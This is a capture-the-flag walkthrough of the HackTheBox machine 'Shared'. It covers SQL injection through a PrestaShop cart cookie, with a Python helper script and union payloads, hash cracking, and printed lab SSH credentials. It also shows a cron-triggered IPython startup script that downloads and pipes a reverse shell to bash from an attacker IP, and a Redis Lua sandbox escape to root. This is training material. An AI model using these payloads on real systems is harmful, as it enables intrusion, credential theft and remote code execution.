Shared — Hackthebox Walkthrough
Foothold
Nmap gives us 3 ports.
nmap -p- -sC -sV -A 10.10.11.172
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 91:e8:35:f4:69:5f:c2:e2:0e:27:46:e2:a6:b6:d8:65 (RSA)
| 256 cf:fc:c4:5d:84:fb:58:0b:be:2d:ad:35:40:9d:c3:51 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBljy8WbFpXolV3MJQIZVSUOoLE6xK6KMEF5B1juVK5pOmj3XlfkjDwPbQ5svG18n7lIuaeFMpggTrftBjUWKOk=
| 256 a3:38:6d:75:09:64:ed:70:cf:17:49:9a:dc:12:6d:11 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIWVTnJGzAgwIazusSrn+ULowTr1vEHVIVQzxj0u2W+y
80/tcp open http syn-ack nginx 1.18.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://shared.htb
|_http-server-header: nginx/1.18.0
443/tcp open ssl/http syn-ack nginx 1.18.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to https://shared.htb
| tls-nextprotoneg:
| h2
|_ http/1.1
| ssl-cert: Subject: commonName=*.shared.htb/organizationName=HTB/stateOrProvinceName=None/countryName=US/localityName=None
| Issuer: commonName=*.shared.htb/organizationName=HTB/stateOrProvinceName=None/countryName=US/localityName=None
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| tls-alpn:
| h2
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Adding shared.htb
to my /etc/hosts
file and visiting port 443, we get a web store.
One thing I found was that this was made using PrestaShop
Doing some vhost enumeration, we find 2 vhosts.
ffuf -u https://10.10.11.172/ -H 'Host: FUZZ.shared.htb' -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 169
Adding the entries again to the hosts config and visiting checkout.shared.htb
we see a cart checkout landing page which lets us do the payments.
After poking around for a bit, I went ahead and added a couple of items to my cart from shared.htb
.
And when I wanted to check out, I was redirected to checkout.shared.htb
Looking at the request of this checkout, we see there is a cookie named custom_cart
Seems like there is a shared cookie between the 2 domains which keeps track of the things in the cart. When I URL decoded this cookie, I got some json data
I saw this value being displayed in the page as well.
With this seen, I wanted to mess with the cookie. Knowing that this was made using PrestaShop, I did a quick google search to find if there are any vulnerabilities regarding the cookie values in this platform. Looking through I found this
Which was an SQL injection vulnerability in SmartyCacheResourceMysql.php
that can be exploited through the cookie values. If you look closely, at first the values form the cookie aren’t sanitized at all before passing them to the SQL query.
So it’s possible to do SQL injection without any issues. Knowing this I was able to successfully confirm the SQLI vulnerability.
- Passing
' or 1=1 -- -
gives the ID of the product
- But passing
' or 1=2 -- -
results inNot found
Now that that’s confirmed, to proceed from here, I made a little script for my ease.
import requests
import urllib, syswhile 1:
s = input('> ')
sqli = urllib.parse.quote('''{"%s -- -":"1"}''' % s)h = {'Cookie': 'PrestaShop-5f7b4f27831ed69a86c734aa3c67dd4c=def50200e684e61b0fd9894b83a47797b8f9e0ad79a58f8c40449b7c618f0d3af267ec23e923ef3ce7e44a6dd89129c63f6bdf28709e4283f827f753d349ce4e50442d52b46bae248933ee2013805e60bc6f7a30989757cb75eda048b0361f4721000d72304f77b0af014350cdbe6d0acc6c1e63d53d543d45d0d28a252dfb9e740eae7fea7963ab99186dafd6f89d6f16b815f2132673f4eb13701f6aab46e9f4dd56bf68861e5897b2ef772b7669f7f1abf6ae4ebdb15b38bef19c8bb86af911771d3e4b871ab4a68199bf50f381e97eba734291959d3599d8436d31ff3a4856889a9e389c3e2fc2c10e8cace86b62f9fed75ec0166603886e73f19c3c648f758eca487f571e53c5ecea79116bf56e0d4fca13b878a836b02d1c0e2eaf; custom_cart='+sqli}r = requests.get('https://checkout.shared.htb', headers=h, verify=False)st = r.text.index('<th scope="row">')
print(r.text[st:2082])
With this I was able to enumerate the database easily. First I found the number columns this query returning as 3. Then I found out there was database called checkout
with ' union select 1,database(),3 -- -
With this, I guessed that there would be a user
table. And I was right!
' union select 1,username,3 from checkout.user where id =1
' union select 1,password,3 from checkout.user where id =1
Likewise, I was able to get a valid username and the password hash from the database. After, I cracked the hash with hashcat
and recovered the plain text password.
hashcat -m 0 hashes\shared.hashes wordlist\rockyou.txt
And with that, I was able to ssh into the box with these credentials.
USER: james_mason
PASS: Soleil101
User
Running pspy
as james_mason
I saw a cronjob running.
As you can see, this cronjob executed ipython
after going into the /opt/script_review
directory. One thing to know about ipython
is that we can run pre-startup script with it. Like this advisory mentions, we can execute arbitrary python scripts in this manner.
For this,we need to make a profile_default/startup
directory in /opt/script_review
and put our python script there.
#!/bin/bash
mkdir -m 777 /opt/scripts_review/profile_default
mkdir -m 777 /opt/scripts_review/profile_default/startup
printf 'import os\nos.system("wget 10.10.14.28/shell.sh -q -O -|bash")\n' > /opt/scripts_review/profile_default/startup/kavi.py
chmod 777 -R /opt/scripts_review/profile_default/startup/*
This simple bash script will do the magic for us. As you can see it makes the directory in the correct location and gives the appropriate permissions to it. Once this is done, we just have to wait till the cron runs. Once it does, ipython
will execute the kavi.py
script which will wget shell.sh with my reverse shell in it and pipe it over to bash.
And I got a shell on my listener as dan_smith
Root
From the pspy
before I saw there was a redis-server
running in port 6379
We can connect to it with redis-cli
But when we try to list the databases, we are asked for authentication
If we look at the groups that the dan_smith
is a part of, we can find out that he is in the sysadmin
group.
cat /etc/group
So we can try to find the files owned by the users in this group
find / -group sysadmin 2>/dev/null
And right off the bat, we get a file called redis_connector_dev
. When we execute this script, it mentions that it’s trying to login to the redis server with the password.
Seems like it does login successfully. So what I did was, I copied the binary to my box, started a listener on port 6379 and executed the script. In my listener, I got something.
And we can see its’s trying to authenticate with auth
command. That last string we got, seems like a password. And I was successfully able to authenticate with the redis-server with this password.
Looking at the info that redis_connector_dev
gave, we can see the version of redis server as 6.0.15
Searching to exploits regarding this version, I found this.
Using this I was able to execute commands as root.
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
Rooted!
“If you have any questions, make sure to leave them down in the comments, or contact me through social media.”
Email — iamkavigihan@gmail.com
Instagram — https://www.instagram.com/_kavi.gihan/
Discord — kavigihan#8518
Happy Hacking !!! 😄